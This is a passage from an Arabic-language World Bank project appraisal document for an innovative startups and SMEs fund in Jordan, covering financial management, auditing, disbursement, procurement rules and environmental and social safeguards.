الخدمات أو االستعانة بهم لتنفيذ األنشطة المتفق عليها بنا ًء على برامج ومنجزات واضحة، ويشمل ذلك كافة أنشطة تدفق الصفقات، بما فيها برامج تعجيل األعمال وخدمات تنمية األعمال التجارية وتطوير شبكات رعاة األعمال. 19 .سوف يمول المشروع كذلك الدعم المقدم ألنشطة تطوير األنظمة البيئية الشاملة عبر تمويل وكالء هذه األنظمة بهدف تشجيعها على تنفيذ أنشطتها االبتكارية، مما يحفز بدوره خلق التدفقات النقدية في األردن. وسوف يحدد دليل عمليات المشروع معايير استحقاق التمويل تحديدا صولهم على التمويل، إلى تقييم لإلدارة المالية ً مفصال. وسيخضع مقدمي الدعم، قبل ح لضمان التزامهم بأنظمة اإلدارة المالية األساسية المعتمدة. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 60 20 .تكاليف إدارة المشروع: تتضمن تكاليف إنشاء الصندوق وإدارته، أما مرتبات ومكافآت مسئولي الصندوق وموظفيه )بما يتفق مع عقود الخدمات االستشارية( والتكاليف التشغيلية )وفق التعريف الوارد في اتفاقية القرض(، فتشمل التكاليف التشغيلية إلدارة إليها النفقات المتفق عليها التي ستدفعها الشركة خالل الفترة نفسها تحصل الشركة من الصندوق خالل فترة المشروع، مضافاً البنك الدولي، بأثر رجعي، على النفقات التي تكبدتها في أداء دور الوكالة المنفذة قبل تشغيل المشروع، وتسحب التكاليف المتكررة المتعلقة بالمشروع مباشرة من الحساب المخصص للمشروع. 21 .عملية االختيار واإلشراف: سيحدد دليل عمليات المشروع هيكل حوكمة وتدابير مساءلة تتسم بالوضوح والشفافية، وال سيما فيما يتعلق بإجراء المراجعات وبذل العناية الواجبة وعمليات اختيار االستثمارات؛ وينبغي أن تجسد هذه التدابير مبادئ الحوكمة الرشيدة واإلنصاف والشفافية عن طريق ضمان استقالل عملية االختيار عن عملية المراجعة، وتحجيم مخاطر هيمنة المجموعات المختارة، والعناية الفائقة في تصفية المرشحين واتخاذ تدابير تكفل مساءلة الهيئات التي تتخذ القرارات االستثمارية. 22 .اإلبالغ والمحاسبة: ألغراض متابعة تنفيذ اإلدارة المالية للمشروع، سوف يضع الصندوق نظام محاسبة مالئم لتسجيل معامالت المشروع ومعالجتها ووضع التقارير المالية المؤقتة ربع السنوية ونصف السنوية والقوائم المالية السنوية للمشروع بما يتفق مع األساس المالي للمحاسبة ومعايير المحاسبة الدولية في القطاع العام. وقد يشترط في هذا النظام أن يكون قادراً على تسجيل المعامالت على أساس االستحقاق، وذلك لكي يستخدمه الصندوق في عملياته الداخلية. وينبغي أن يكون نظام المحاسبة للعمل خالل جاهزا 180 يوماً من فعالية المشروع. وتتكون التقارير المالية المؤقتة غير المدققة من بيانات اإليرادات ً للنو والمدفوعات النقدية مصنفة وفقا ع والمكون، باإلضافة إلى سياسات المحاسبة وملحوظات تفسيرية، وتتضمن هذه القوائم ً إفصاحات في صورة حواشي سفلية عن اآلتي: )أ( بيان مفصل باالستثمارات في رؤوس أموال الشركات )الناشئة في مرحلة التأسيس أو المراحل المبكرة أو المعتمدة على رأس مال المخاطر ومعجالت األعمال وشبكات رعاة األعمال ومنصات التمويل الجماعي وما إليها(؛ )ب( بيان تسوية للحساب المخصص للمشروع؛ )ج( تنبؤات التدفقات المالية لألشهر الستة التالية. 23 .يسلم الصندوق التقارير المذكورة إلى الشركة األردنية في غضون 30 يوماً، وتسلمها الشركة إلى البنك الدولي في غضون 15 يوما أي أنها تصل إلى البنك الدولي بعد 45 من انتهاء كل ربع سنة )ثالثة أشهر(. ً، يوماً 24 .على الشركات )الناشئة في مرحلة التأسيس أو المراحل المبكرة أو المعتمدة على رأس المال المخاطر ومعجالت األعمال وشبكات رعاة األعمال ومنصات التمويل الجماعي وما إليها( أن تلتزم بأنظمة اإلدارة المالية األساسية المقبولة. وينبغي لتلك األنظمة أن تدعم عمليات الشركات المذكورة على النحو الالزم، وتقدم تقارير حول أنشطتها. كما ينبغي أن تسلم تقارير مالية أساسية نصف سنوية غير مدققة إلى الصندوق لكي يتابع األداء المالي لهذه الشركات. 25 .الضوابط الداخلية. سوف تتبع دورة نفقات المشروع الضوابط المحددة في فصل اإلدارة المالي بدليل عمليات المشروع، حيث إنه يحدد أدوار الصندوق والشركة ومسئولياتهما فيما يتصل باإلدارة المالية والمدفوعات وتدفق األموال ونشر المعلومات والتوثيق. وسوف يتضمن هذا الفصل على سبيل المثال ال الحصر: )أ( السياسات المالية وسياسات المحاسبة؛ )ب( األدوار والمسئوليات، بما فيها أذونات الدفع؛ )ج( إجراءات االستثمار المباشر وغير المباشر؛ )د( تكاليف إدارة المشروع؛ )هـ( الدفعات المسبقة والحسابات المدينة والحسابات مستحقة الدفع؛ )و( إدارة األموال؛ )ز( وضع الموازنات والتقارير المالية؛ )ح( التنسيق مع المدققين الداخليين والخارجين للحسابات؛ )ط( االستمارات والنماذج. وسوف يتولى الصندوق وضع نظام الضوابط فقاً الداخلية لتقديم ضمانات مقبولة بشأن إنجاز األهداف التشغيلية وصياغة تقارير مالية دقيقة يمكن االعتماد عليها و للقوانين واللوائح المعمول بها. 26 .المراجعة ألغراض خاصة: سيعين الصندوق شركة استشارية أو يوسع من نطاق عمل المدقق الخارجي للحسابات بغرض إجراء المراجعة السنوية لإلجراءات المتفق عليها للتعامل مع المستفيدين )الشركات الناشئة في مرحلة التأسيس أو المراحل المبكرة أو المعتمدة على رأس المال المخاطر ومعجالت األعمال وشبكات رعاة األعمال ومنصات التمويل الجماعي وما لمعايير االختيار إليها(. ويتمثل الهدف الرئيسي من هذه المراجعة في التوصل لرأي حول التزام الصندوق باالستثمار وفقاً المتفق عليها وبذل العناية الواجبة وتطبيق أساليب التخارج الالزمة. كما ستتناول المراجعة فعالية نظام الضوابط الداخلية المتصل بالمعامالت المالية وتقديم التقارير المالية. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 61 27 .ترتيبات التدقيق الداخلي للحسابات: يتولى الصندوق تعيين مدقق حسابات داخلي خالل السنة األولى من تنفيذ المشروع يقدم ة الصندوق. وسوف تُ تقاريره إلى مجلس إدار سلم شروط مرجعية فعالة تتناول التدقيق الداخلي للحسابات بأسلوب متطور، وذلك بعد ارسالها إلى البنك الدولي للتأكد من عدم ممانعته. 28 .ترتيبات التدقيق الخارجي للحاسبات: ستفرض الشركة على األمانة العامة للصندوق أن تختار شركة خارجية لتدقيق الحسابات مستقلة وذات كفاءة يعتمدها البنك الدولي وتتولى التدقيق السنوي في البيانات المالية للمشروع. وتسلم تقارير تدقيق حسابات المشروع والخطابات اإلدارية خالل ستة أشهر بعد انتهاء فترة التدقيق. وسوف تتولى الشركة مسئولية إعداد الشروط المرجعية لمدقق الحسابات وذلك بعد ارسالها إلى البنك الدولي للتأكد من عدم ممانعته. 29 .يتوجب على مدقق الحسابات أن يبدي رأيه، بنا ًء على دليل عمليات المشروع، حول امتثال الصندوق لمعايير أهلية االستثمار أن يبدي رأيه بشأن فعالية نظام المراقبة الداخلي للمشروع. وختاماً، يرفق مدقق في اختياره للشركات المستفيدة. وعليه أيضاً يحدد فيه أوجه القصور في نظام المراقبة، وتوصياته لمعالجتها. إدارياً الحسابات بتقريره خطاباً 30 .يتعين على الجهات التي استثمر فيها المشروع أو دعمها مالياً )رأس المال المخاطر / الصناديق المالية/ الوسطاء الماليون( أن تقدم قوائم مالية سنوية مدققة إلى الصندوق. وسوف تتضمن اتفاقات التمويل المبرمة بين الصندوق والجهات المستثمر فيها/ الجهات المستفيدة أحكام تسليم تقارير التدقيق الخارجي للحسابات. 31 .بناء القدرات في المحاسبة الدولية واإلبالغ المالي: نظراً ألهمية إتقان المؤسسات الصغيرة والمتوسطة للمحاسبة واإلبالغ المالي، سيقدم المشروع، خالل فترة تنفيذه، برامج تدريبية وورش ودورات لمدققي الحسابات الخارجيين والمديرين الماليين للمؤسسات الصغيرة والمتوسطة وغيرهم من األطراف المعنية، ويتعلمون خاللها أصول اإلبالغ المالي ومعايير المحاسبة وما إلى ذلك من الموضوعات ذات الصلة. يعد بناء القدرات في مجال المعايير الدولية لإلبالغ المالي وتطبيق معايير المحاسبة الدولية ركيزتين رئيستين للحوكمة الرشيدة للشركات الالزمة لبناء ثقة المستثمرين ودعم تماسك مناخ األعمال بالمزايا التي ستتحقق الحقاً مثل تعزيز التنافسية والنمو االقتصادي. 32 .دعم التدريب والتنفيذ: سوف يقدم البنك الدولي برامج تدريبية للموظفين بالصندوق وباإلدارة المالية للشركة األردنية لضمان القروض على مناهج اإلدارة المالية المتبعة بالبنك الدولي، والتوجيهات واإلجراءات الالزم اتباعها في عملية السداد، كما سوف يدعم اإلدارة المالية خالل إشرافه على المشروع. 33 .آلية التعامل مع التظلمات والشكاوى. من شأن وضع آلية للتعامل مع التظلمات والشكاوى مصممة بعناية أن تحسن تقديم في ضمان شفافية المشروع ومساءلته، وتمثل آلية إنذار مبكر الخدمات وتعزز الفعالية الكلية للمشروع، وقد تساهم أيضاً للتحذير من مشاكل اإلدارة المالية قبل تفاقمها. ولذلك سوف تضع الشركة آلية تظلم مؤلفة من ثالث مراحل. اإلنفاق 34 .سوف تطلب الشركة األردنية لضمان القروض في البداية إعادة سداد النفقات المتفق عليها التي دفعتها قبل تشغيل المشروع، كما ستطلب دفعة مبدئية مسبقة تودع في الحساب المخصص للمشروع لكي تبدأ في سداد المبالغ الالزمة لتنفيذه. للتقارير المالية المؤقتة ربع السنوية التي ستوضح النفقات الفعلية للربع السابق تحدد مدفوعات البنك الدولي إلى الشركة وفقاً )األشهر الثالثة الماضية( وتوقعات التدفقات النقدية خالل الربعين التاليين )األشهر الستة القادمة(. وتحتفظ الشركة بكافة الوثائق الداعمة، وتحفظها بحيث يسهل الوصول إليها كي تراجعها بعثات البنك ومدققو الحسابات الداخليون والخارجيون. 35 .سوف يحول الصندوق األموال من الحساب المخصص للمشروع إلى حسابه الخاص وفقاً للتنبؤات النقدية الدورية التي ستتضمن عدة عوامل، من بينها دفعات االستثمار المتوقع سدادها خالل فترة معينة. وألغراض توثيق المدفوعات، سيعتبر لتحديد المدفوعات ودليال على المبالغ البنك الدولي شهادات االستثمار وقسائم التحويالت المصرفية/ اإليصاالت أساساً المدفوعة للجهات المستثمر فيها نظير الحصول على حصص مختلطة من رأس المال والدين. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 62 36 .سوف يفتح حساب مخصص للشركة بالدوالر األمريكي لضمان سهولة إتاحة األموال الالزمة لتنفيذ المشروع. وتسلم توقيعات المفوضون بالتوقيع فيما يتعلق بهذا الحساب بأسمائهم ونماذج من توقيعاتهم إلى البنك الدولي قبل استالم استمارة السحب األولى. 37 .سوف يتبع المشروعات أسلوباً في الدفع يقوم على تقديم التقارير المالية المؤقتة غير المدققة. يوضح الجدول رقم 2-1 أدناه أنواع النفقات ومخصصات القرض ونسب تمويل كل مكون. 38 .سوف يثني البنك على إكمال سداد النفقات المستحقة وبالخدمات المقدمة والسلع المسلّمة قبل تاريخ انتهاء المشروع. كما سيمنح فترة سماح تبلغ أربعة أشهر لسداد أي نفقات مستحقة ُسددت قبل تاريخ انتهاء مدة القرض. 39 .تضم تكاليف التشغيل ما يلي: النفقات التشغيلية الضرورية والمعقولة التي دفعها الصندوق لغرض تنفيذ المشروع وإدارته ومتابعته، بما في ذلك تأجير المكاتب وصيانتها، وتشغيل المعدات المكتبية وصيانتها، واألدوات واللوازم المكتبية، والمواد االستهالكية المكتبية، وإدارة المكاتب التي تشمل نفقات الترجمة التحريرية والشفهية والطباعة واإلعالن واالتصاالت، عالوًة على النفقات المتعلقة بإعداد وثائق المناقصات، والنفقات المعقولة للبنوك التجارية، والنفقات المعقولة والضرورية النتقاالت أفراد وحدة إدارة المشروع وسفرهم، والصيانة والتأمين ووقود المركبات ونفقات عقد االجتماعات وغيرها من النفقات للميزانيات الدورية المعتمد المتنوعة المرتبطة مباشرة بتنفيذ المشروع، ويحدد جميع ما سبق وفقا ة من البنك، ويستثنى من ذلك ً النفقات التشغيلية مرتبات وأتعاب المسئولين والموظفين العاملين في الخدمة المدنية للجهة المقترضة، ويشمل ذلك أيضاً للمشروع التي تدفعها الشركة بموافقة البنك الدولي. جدول رقم 2-1 خطة العمل – اإلدارة المالية اإلجراء/ الشرط تاريخ وجوب التنفيذ الجهة المسئولة 1 تعيين كبير المسئوليين الماليين قبل صرف األموال من قبل البنك الدولي الصندوق 2 تعيين محاسب أول بدوام جزئي خالل 3 أشهر من تاريخ بدء تنفيذ المشروع الشركة األردنية 3 وضع نظام مالي ومحاسبي خالل 6 أشهر من تاريخ بدء تنفيذ المشروع الصندوق 4 تعيين مدقق خارجي للمشروع خالل 6 أشهر من تاريخ بدء تنفيذ المشروع الصندوق 5 تعيين مدقق داخلي خالل 12 شهر من تاريخ بدء تنفيذ المشروع الصندوق المشتريات 40 .الجهة المنفذة: يمتلك البنك المركزي األردني 49 %من أسهم الشركة األردنية لضمان القروض، أما باقي األسهم فتمتلكها بنوك أخرى في األردن، وتهدف الشركة األردنية إلى تقديم الضمانات الالزمة لتسهيل تمويل المؤسسات الصغيرة والمتوسطة والخبراء المحليين وإلى المساهمة في عملية النمو االقتصادي وخلق فرص عمل جديدة وتشجيع الصادرات الوطنية. 41 .تصميم المشروع: سوف يتم إنشاء مرفق تمويلي في إطار المشروع باسم "صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية". وتتمثل أهداف هذا الصندوق في المشاركة في االستثمار المختلط في رأس المال و/أو الدين مع المستثمرين خالل المرحلة األولية المبكرة ومرحلة النمو/ مرحلة رأس المال المخاطرة ودعم رواد األعمال/ المؤسسات الصغيرة والمتوسطة لتكون جاهزة لالستثمار وكذلك تحسين جودة الخدمات التي يقدمها الوسطاء والشبكات المخصصة لخلق تدفق للصفقات في األردن وتنوعهما. وتكون الشركة األردنية لضمان القروض هي الجهة المنفذة والمسئولة عن إنشاء للمعايير التي ً الصندوق واإلشراف عليه، كما للصندوق ستختار الشركة مديرا لضمان تنفيذ المشروع وتقديم التقارير وفقاً وضعها البنك الدولي والمنصوص عليها في دليل عمليات المشروع. 42 .مكونات المشروع: البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 63 I .يتعين أن يمول المكون رقم 1 ما يلي: 1 -تمويل مختلط من رأس المال والدين بقيمة 5,53 مليون دوالر )قيمة تمويل البنك الدولي 75,44 مليون دوالر(. في إطار هذا النشاط، من المتوقع أن يستثمر الصندوق في حوالي 200 شركة بقيم متساوية بين مراحل المخاطر الثالثة للمؤسسات والمصنفة كالتالي: مرحلة التأسيس )قيمة الحصة االستثمارية أقل من 280 ألف دوالر أمريكي( وفي المراحل المبكرة )قيمة الحصة االستثمارية بين 280 ألف و750 ألف دوالر أمريكي( وفي رأس المال المخاطر )قيمة الحصة االستثمارية من 750 ألف حتى 2 مليون دوالر أمريكي(. ولن تستدعي المعامالت المنفذة تحت هذا المكون إطار مشتريات البنك. 2 -دعم تمويل الوسطاء والشركاء في مرحلة ما بعد االستثمار، وسيغطي الصندوق التكاليف التي تكبدها مديري الصندوق وشركاء االستثمار المشترك لضمان حصول الشركات الناشئة المستفيدة على الدعم الفعال الذي تحتاج إليه، ولن تستدعي المعامالت المنفذة تحت هذا المكون إطار مشتريات البنك. II .يتعين أن يمول المكون رقم 2 ما يلي: 1 -تمويل خلق تدفق الصفقات بقيمة 25.6 مليون دوالر )قيمة تمويل البنك الدولي 125.3 مليون دوالر(. لن تستدعي المعامالت المنفذة تحت هذا المكون إطار مشتريات البنك. III .يتعين أن يمول المكون رقم 3 ما يلي: 1 -مبلغ 4 مليون دوالر أمريكي )قيمة تمويل البنك الدولي 2 مليون دوالر أمريكي( فيما يخص تكاليف إدارة ختيار مديرا قوم ً المشروع خالل أول ست سنوات. وسوف تقوم الشركة األردنية لضمان القروض با للصندوق ي بتعيين فريق العمل في الصندوق، كما سُيستخدم المبلغ المخصص في سداد تكاليف تشغيل الصندوق وكذلك في تعيين المستشارين وشراء مستلزمات المكاتب، والتجهيزات واألثاث وغيره من الخدمات التي تتكبدها الشركة األردنية بصفتها الجهة المنفذة. 43 .تقييم القدرة الشرائية: أ( اإلطار القانوني: تأسست الشركة األردنية لضمان القروض على أساس تجاري وال تخضع لنظام المشتريات العامة، وال تخضع كذلك إلشراف الجهات الرقابية العامة )ديوان المحاسبة على سبيل المثال(، وقد نص الدليل المالي للمؤسسة على إجراءات الشراء، كما تم إعداد دليل عمليات يتناول عملية الشراء. ب( طرق الشراء: يوضح الجدول التالي الحد الدنى لطرق الشراء: جدول رقم 2-2 طرق الشراء عقد مباشر أقل من 100 دينار أردني 3 عروض أسعار حتى 10 أالف دينار أردني تقديم العطاءات أكثر من 10 أالف دينار أردني ت( قرارات شراء السلع والخدمات االستشارية: يتولى المجلس الرقابة على شراء السلع التي تزيد قيمتها عن 20 ألف دينار أردني والخدمات االستشارية التي تزيد قيمتها عن 5 أالف دينار أردني كما هو موضح بالجدول أدناه: جدول 2-3 صالحيات اتخاذ القرار الفئة القرار قيمة العقد المدير العام حتى ألفين دينار أردني السلع المدير العام بتوصية من لجنة المشتريات الفرعية حتى 20 ألف دينار أردني المجلس بتوصية من لجنة المشتريات الرئيسية أكثر من 20 ألف دينار أردني المجلس بتوصية من لجنة المشتريات الرئيسية أكثر من 5 أالف دينار أردني الخدمات االستشارية المدير العام حتى 5 أالف دينار أردني البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 64 ث( تغطية عمليات الشراء وتخطيطها: ال تجري الشركة األردنية عمليات شراء كبيرة، وغالباً ما ترتبط طلبات الشراء بمستلزمات المكتب وتجهيزاته. على سبيل المثال، بلغ حجم المشتريات لعام 2016 ،100 ألف دينار أردني. وتم رصد تخطيط عمليات الشراء، وتبين أنها تقوم على أساس تخطيط ربع سنوي وذلك باستخدام الموازنة المخصصة، كما تستخدم نماذج عقود معيارية. ج( الشكاوي: غالباً ما تتم إحالة الشكاوي التي تتعلق بالخدمات التي تقدمها الشركة األردنية إلى رابطة الشركات والبنك المركزي األردني، بينما لم توضع آلية للتعامل مع الشكاوي التي تتعلق بالمشتريات. ح( إعداد التقارير: تقدم الشركة األردنية لضمان القروض تقارير دورية ربع سنوية وسنوية إلى "الهيئة المنظمة لسوق رأس المال" و"تداول األوراق المالية" باألردن. ومتاح كذلك على شبكة اإلنترنت تقرير المدقق الخارجي المستقل، وتتاح التقارير على الموقع اإللكتروني للشركة األردنية com.jlgc.www://http. خ( عملية تدقيق الحسابات: تمتلك الشركة األردنية نظام تدقيق داخلي للحسابات ونظام داخلي إلدارة المخاطر، كما عينت شركة جرانت ثورنتون كمدقق خارجي. 44 .صنفت مخاطر تنفيذ عمليات الشراء اإلجمالي بأنها "متوسطة". فقد أشار تقييم الجهة المنفذة وهي الشركة األردنية لضمان القروض إلى أن نظام المشتريات المتبع في هذه المؤسسة يتبع المبادئ األساسية للمشتريات التي وضعها البنك الدولي. ولن يقوم المشروع بتطبيق إطار المشتريات الذي وضعه البنك سوى في تعيين الشركة اإلدارية أو اختيار مدير للصندوق يقوم بدوره بتعيين فريق العمل بالصندوق، ولشراء مستلزمات وتجهيزات مكتبية بسيطة لجعل الصندوق يصلح للتشغيل كوحدة تنفيذ المشروع. ومع ذلك، وبالنظر إلى أهمية هذا االختيار وكيفية تأثيره على عملية التنفيذ بأكملها، فقد ارتفع تصنيف مخاطر الشراء ليصبح "متوسط". وللحد من هذه المخاطرة، تم اقتراح إجراءات التخفيف التالية: )أ( ترتيب وسائل دعم مالئمة )فريق العمل، والتدريب، واألدوات( للتعامل مع إدارة المشتريات على األقل حتى يتم اختيار استشاري اإلدارة و)ب( ضمان إدارة العقود بشكل مالئم من جانب الجهة المنفذة و)ج( إقامة نظام يرصد تعديالت عقود الصندوق والتعجيل بتنفيذها و)د( الموافقة على طرق النشر المالئمة )أي النشر على موقع االنترنت أو في النشرات اإلعالمية( للقرارات المتعلقة بالمشتريات وغيرها مما يتعلق بالحد األدنى من المعلومات. 45 .ترتيبات مقترحة تتعلق بالمشتريات أ( لوائح المشتريات: سوف يتم تطبيق "لوائح المشتريات الخاصة بالبنك الدولي للمقترضين في إطار تمويل المشروعات تحديداً االستثمارية" والصادرة في 1 يوليو/ تموز 2016( لوائح المشتريات( في المشروع. بالنسبة إلى المشتريات المكتبية واالختيارات المتعلقة بمدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، تستخدم الشركة األردنية ا "للممارسات التجارية" بحسب ما جاء في القسم رقم 6-46 من اللوائح المشار إليها ً لضمان القروض ترتيبات االختيار طبق عادًة ما تكون أعاله. تشير الممارسات التجارية إلى استخدام ترتيبات المشتريات المعتمدة والمستخدمة في القطاع الخاص ) مؤسسات غير خاضعة لقانون المشتريات الحكومي للمقترض( لشراء السلع أو تنفيذ األعمال أو الخدمات غير االستشارية. ينفذ البنك مبادئ المشتريات األساسية التالية لكونها المعيار المستخدم لتحديد مدى قبول الممارسات التجارية، وهي: قيمة األموال واالقتصاد والنزاهة ومدى المالئمة للغرض والفعالية والشفافية والعدالة. ب( أنشطة المشروع بطبيعتها غير معقدة؛ ومن المتوقع أن تختار الشركة األردنية لضمان القروض مدير لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، يقوم بدوره بتعيين فريق عمل للقيام بمهامه كوحدة تنفيذ المشروع. إلى جانب ذلك، سوف يتم شراء اللوازم المكتبية، واألثاث المكتبي بحسب احتياجات الصندوق. ت( سوف تتبع طرق شراء السلع والخدمات االستشارية وغير االستشارية الممارسات التجارية المعمدة لدى الشركة األردنية لضمان القروض. ث( فريق العمل: يتم تكليف أخصائي المشتريات بالشركة األردنية لضمان القروض بتعيين مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، وشراء الخدمات المتصلة بدور الشركة األردنية بصفتها الجهة المنفذة. تتماشى مؤهالت المشتريات مع متطلبات المنصب الحالي. سيكون هناك حاجة إلى دعم فني من الشركة األردنية لمساعدة فريق المشتريات في تقييم واختيار مدير الصندوق وأفراد فريق العمل. سوف تكون الجهة المنفذة مسئولة عن إدارة عقود مدير الصندوق وفريق عمله. كذلك يحق للشركة المنفذة اختيار تفويض مدير الصندوق بإدارة العقود الخاصة بأفراد فريق عمل الصندوق. ج( دليل عمليات المشروع: سيحتاج صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية بمجرد إنشاءه إلى لل إعداد دليل عمليات يتضمن قسما مشتريات يتماشى مع اإلجراءات التي تراعيها الشركة، وسينص الدليل على عمليات الشراء ً البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 65 وإدارة العقود، كما سيحتوي على نماذج معتادة تستخدم في المشروع وسيتناول كذلك اشتراطات حفظ السجالت الترتيبات المتوقعة آللية تلقي الشكاوي. ح( خطط الشراء: سيكون هناك حاجة إلى خطط شراء للمشروع لكي يوضع جدوالً ألنشطة المشروع وتحديدها فيما يتعلق بإقامة الصندوق بما في ذلك تعيين مدير له. . خ( التنبؤ بتكرار البعثات اإلشرافية مرتين في السنة ومراجعات ما بعد الشراء مرة سنوياً المخاطر البيئية واالجتماعية )متضمنة الضمانات الوقائية( 46 .من المتوقع توجيه أغلب استثمارات المشروع الفرعي التي يدعمها هذا المشروع نحو مجالي الخدمات أو التكنولوجيا المرتبطة بمخاطر بيئية واجتماعية محدودة أو ليس لها مخاطر على اإلطالق. ومع ذلك، قد تكون هناك بعض االستثمارات )على سبيل المثال: الطاقة المتجددة والمستحضرات الدوائية واألعمال التجارية الزراعية( التي يمكن أن تصاحبها مخاطر بيئية لحداثة المؤسسات الصغيرة والمتوسطة وحجمها، من المتوقع أن يكون اإلنتاج المادي أو االقتصادي خالل واجتماعية. نظراً . وسوف تستبعد عملية فحص المشروع الفرعي أي مشروع فرعي قد تنطوي أنشطته فترة تنفيذ مشروع البنك الدولي محدوداً على حيازة أراضي، فقدان استخدام األراضي أو النزوح االقتصادي. لذا، ال داعي لوضع إطار لسياسة إعادة التوطين. 47 .وفقاً لقانون البيئة األردني رقم 52 لسنة 2006 ،تلنزم الشركات الخاصة بإجراء عملية فحص بيئي واجتماعي. وينبغي تصنيف الشركات المشاركة في الصندوق بحسب ما لها من آثار محتملة وتدابير التخفيف/ إعادة التأهيل المناسبة. وبالنظر إلى إنخفاض المخاطر البيئية واالجتماعية للمشروع، سوف تتم عملية الفحص باستخدام األنظمة القطرية من خالل وزارة البيئة. سوف ينص نموذج عملية الفحص المبدئية على استبعاد أي استثمار يقتضي تطبيق سياسة العمليات رقم 4-09 بشأن مكافحة اآلفات أو رقم 4-11 بشأن الموارد الحضارية المادية أو رقم 4-12 بشأن إعادة التوطين القسري. ولن ينص هذا النموذج على التطبيق المحتمل لسياسة العمليات رقم 4-04 بشأن الموائل الطبيعية أو رقم 4-10 بشأن الشعوب األصلية أو رقم 4-36 بشأن الغابات أو رقم 4-37 بشأن سالمة السدود أو رقم 7-50 بشأن المشروعات المقامة على مجاري المياه الدولية أو رقم 7-60 بشأن المشروعات المقامة في المناطق المتنازع عليها. ال تتواجد الموائل الطبيعية أو الغابات أو السدود وما شابه في النطاق الجغرافي لمواقع الصندوق المحتملة. 48 .عالو ًة على ما سبق، تتمتع الشركة األردنية لضمان القروض بمعرفة قوية بمسئوليات أعمال القطاع الخاص لالمتثال لقوانين وزارتي البيئة والعمل ذات الصلة بالمؤسسات الصغيرة والمتوسطة، وسوف تتحمل الشركة المسئولية عن ضمان إدراج أطر تتناسب مع سياسات البنك الدولي في عمليات الفحص والتمويل التي تجريها المؤسسات الصغيرة والمتوسطة التابعة للصندوق. 49 .تم وضع إطار اإلدارة البيئية واالجتماعية لضمان استيفاء أنشطة المشروع لمتطلبات السياسات واللوائح واألنظمة الوطنية ذات الصلة، إلى جانب سياسات وعمليات مجموعة البنك الدولي. يقدم إطار اإلدارة البيئية واالجتماعية أداة معالجة عملية لمختلف المراحل، بما في ذلك متابعة الجوانب البيئية واالجتماعية. وسوف يقوم الصندوق بتعيين استشاري بيئي متخصص يقدم تقارير إلى مدير الصندوق حول ما يلي: أ- إجراء عمليات تدقيق ما بعد المراجعة للمشروعات الفرعية وتقديم خطط اإلدارة البيئية واالجتماعية لضمان الجودة. ب- تصميم وتنفيذ التدريب الالزم ت- إعداد تقارير سنوية حول متابعة الضمانات الوقائية وتقديمها في الوقت المناسب. 50 .سوف يخصص الصندوق قسماً عن االمتثال للضمانات الوقائية في كل تقرير مرحلي ُيقدم إلى مجلس اإلدارة والشركة األردنية لضمان القروض التي ترسل بدرها هذه التقارير إلى البنك الدولي. ويتضمن الملحق رقم 5 من إطار اإلدارة البيئية واالجتماعية نموذج إلطار متابعة الضمانات الوقائية. 51 .نظراً ألنه من غير المتوقع أن تبدأ معظم، أو ربما جميع، المؤسسات الصغيرة والمتوسطة الحاصلة على التمويل عملياتها البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 66 المادية/ االقتصادية قبل انتهاء مشروع صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية، فإن عملية المتابعة سوف تتألف من فحص مرحلة التصميم وتوثيق إطار اإلدارة البيئية واالجتماعية والحصول على اعتماد وزارة البيئة واإلفصاح عن وثيقة هذا اإلطار. 52 .سوف يقوم استشاري الضمانات البيئية لذي يعينه الصندوق برصد مؤشرات األداء واإلبالغ بها بغرض متابعة االمتثال إلطار اإلدارة البيئية واالجتماعية:  يراجع األخصائي البيئي نماذج فحص المشروعات الفرعية كنسبة مئوية من إجمالي المشروعات الفرعية التي تمت الموافقة على حصولها على تمويل من الصندوق.  نماذج فحص المشروعات الفرعية التي وافق عليها األخصائي البيئي كنسبة مئوية من إجمالي المشروعات الفرعية التي تمت الموافقة على حصولها على تمويل من الصندوق.  المشروعات الفرعية المرفقة بخطط اإلدارة البيئية واالجتماعية كنسبة مئوية من إجمالي المشروعات الفرعية المصنفة ضمن الفئة ب/2 .  المشروعات الفرعية المرفقة باعتمادات وزارة البيئة كنسبة مئوية من إجمالي المشروعات الفرعية المصنفة ضمن الفئة ب/2 .  باإلضافة إلى ما سبق، سوف يتولى استشاري يعمل بدوام جزئي يعمل في مقر الشركة األردنية لضمان القروض المسئولية عن المتابعة الكاملة للمشروع ورصد أنشطته، بما في ذلك التواصل مع مجلس اإلدارة لحل الشكاوى. سوف تشمل عملية توثيق الشكاوى ما يلي:  عدد الشكاوى المسجلة وتصنيفها وأنواعها.  نسبة الشكاوى التي يتم حلها في الوقت المناسب. المتابعة والتقييم 53 .تقع مسئولية تتبع النتائج في المقام األول على عاتق الوسطاء الماليين ومقدمي الدعم للنظام البيئي الشامل الذين ينفذون للصندوق بالشركة. ويتولى الصندوق أيضاً أنشطة المشروع؛ وسوف يقدمون تقرير المتابعة و تسليم تقرير التقييم مرتين سنوياً . وسوف تستند نتائج المراقبة إلى المعلومات الكمية والكيفية المقدمة من تقييم ومتابعة موحد إلى البنك الدولي مرتين سنوياً المستثمرين في المشروع والجهات المستفيدة من المشروع ومن المستثمرين ومن مديري الصندوق. وسوف يتلقى مديري الصندوق والشركات التمويل من اعتمادات المشروع، وستشترط عقود المستفيدين من أنشطة دعم النظام البيئي الشامل تقديم . المعلومات الالزمة مرتين سنوياً 54 .باإلضافة إلطار النتائج، سوف يتولى مديرو الصندوق المتابعة واإلبالغ حول المؤشرات الخاصة بالبيانات التعريفية للجهات المستفيدة وأداء تلك الجهات، بحيث يمكن قياس أي قيمة مضافة إلى المشروع وغير واردة في إطار النتائج، مثل المؤشرات وظائف )وفقا ادرات. وتقدم الجهات المستفيدة هذه المعلومات مرتين ً الخاصة بخلق الجهات المستفيدة لل للنوع والعمر( والص خالل فترة المشروع 